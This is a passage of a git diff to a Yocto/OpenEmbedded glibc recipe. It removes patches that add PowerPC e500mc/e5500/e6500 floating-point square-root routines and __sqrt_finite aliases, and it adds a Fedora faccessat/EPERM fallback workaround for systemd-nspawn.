-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/603e/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/603e/fpu/Implies
-new file mode 100644
-index 0000000000..b103b4dea5
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/603e/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc32/603e/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/e300c3/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e300c3/fpu/Implies
-new file mode 100644
-index 0000000000..64db17fada
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e300c3/fpu/Implies
-@@ -0,0 +1,2 @@
-+# e300c3 is a variant of 603e so use the same optimizations for sqrt
-+powerpc/powerpc32/603e/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/e500mc/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e500mc/fpu/Implies
-new file mode 100644
-index 0000000000..7eac5fcf02
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e500mc/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc32/e500mc/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/e5500/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e5500/fpu/Implies
-new file mode 100644
-index 0000000000..264b2a7700
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e5500/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc32/e5500/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/e6500/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e6500/fpu/Implies
-new file mode 100644
-index 0000000000..a25934467b
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e6500/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc32/e6500/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/e5500/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc64/e5500/fpu/Implies
-new file mode 100644
-index 0000000000..a7bc854be8
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/e5500/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc64/e5500/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/e6500/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc64/e6500/fpu/Implies
-new file mode 100644
-index 0000000000..04ff8cc181
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/e6500/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc64/e6500/fpu
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch b/meta/recipes-core/glibc/glibc/0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch
new file mode 100644
index 0000000000..096764009a
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch
@@ -0,0 +1,32 @@
+From 70da806febac8b2eead6ddc32451bbc1787a1d7d Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 6 Mar 2021 14:48:56 -0800
+Subject: [PATCH] nativesdk-glibc: Fall back to faccessat on faccess2 returns
+ EPERM
+
+Fedora-specific workaround for systemd-nspawn
+
+Upstream-Status: Inappropriate [Distro Specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/unix/sysv/linux/faccessat.c | 6 +++++-
+ 1 file changed, 5 insertions(+), 1 deletion(-)
+
+diff --git a/sysdeps/unix/sysv/linux/faccessat.c b/sysdeps/unix/sysv/linux/faccessat.c
+index 2fa57fd63d..4d0d5ff0c4 100644
+--- a/sysdeps/unix/sysv/linux/faccessat.c
++++ b/sysdeps/unix/sysv/linux/faccessat.c
+@@ -30,7 +30,11 @@ __faccessat (int fd, const char *file, int mode, int flag)
+ #if __ASSUME_FACCESSAT2
+ return ret;
+ #else
+- if (ret == 0 || errno != ENOSYS)
++ /* Fedora-specific workaround:
++ As a workround for a broken systemd-nspawn that returns
++ EPERM when a syscall is not allowed instead of ENOSYS
++ we must check for EPERM here and fall back to faccessat. */
++ if (ret == 0 || !(errno == ENOSYS || errno == EPERM))
+ return ret;
+
+ if (flag & ~(AT_SYMLINK_NOFOLLOW | AT_EACCESS))
diff --git a/meta/recipes-core/glibc/glibc/0009-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch b/meta/recipes-core/glibc/glibc/0009-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch
deleted file mode 100644
index a94ed207f5..0000000000
--- a/meta/recipes-core/glibc/glibc/0009-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch
+++ /dev/null
@@ -1,208 +0,0 @@
-From 78f67f016ca9e3f7a37af86cf6e400cf17cf1d05 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:15:07 +0000
-Subject: [PATCH 09/29] ppc/sqrt: Fix undefined reference to `__sqrt_finite'
-
-on ppc fixes the errors like below
-| ./.libs/libpulsecore-1.1.so: undefined reference to `__sqrt_finite'
-| collect2: ld returned 1 exit status
-
-Upstream-Status: Pending
-
-ChangeLog
-
-2012-01-06 Khem Raj <raj.khem@gmail.com>
-
- * sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c: Add __*_finite alias.
- Remove cruft.
- * sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c: Ditto.
- * sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c: Ditto.
- * sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c: Ditto.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c | 7 +------
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c | 7 +------
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c | 1 +
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c | 1 +
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c | 1 +
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c | 1 +
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c | 1 +
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c | 1 +
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c | 7 +------
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c | 7 +------
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c | 1 +
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c | 1 +
- 12 files changed, 12 insertions(+), 24 deletions(-)
-
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-index 71e516d1c8..1795fd6c3e 100644
---- a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-@@ -39,14 +39,8 @@ static const float half = 0.5;
- We find the actual square root and half of its reciprocal
- simultaneously. */
-
--#ifdef __STDC__
- double
- __ieee754_sqrt (double b)
--#else
--double
--__ieee754_sqrt (b)
-- double b;
--#endif
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -132,3 +126,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-index 26fa067abf..a917f313ab 100644
---- a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-@@ -37,14 +37,8 @@ static const float threehalf = 1.5;
- We find the reciprocal square root and use that to compute the actual
- square root. */
-
--#ifdef __STDC__
- float
- __ieee754_sqrtf (float b)
--#else
--float
--__ieee754_sqrtf (b)
-- float b;
--#endif
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -99,3 +93,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-index 71e516d1c8..fc4a74990e 100644
---- a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-@@ -132,3 +132,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-index 26fa067abf..9d175122a8 100644
---- a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-@@ -99,3 +99,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
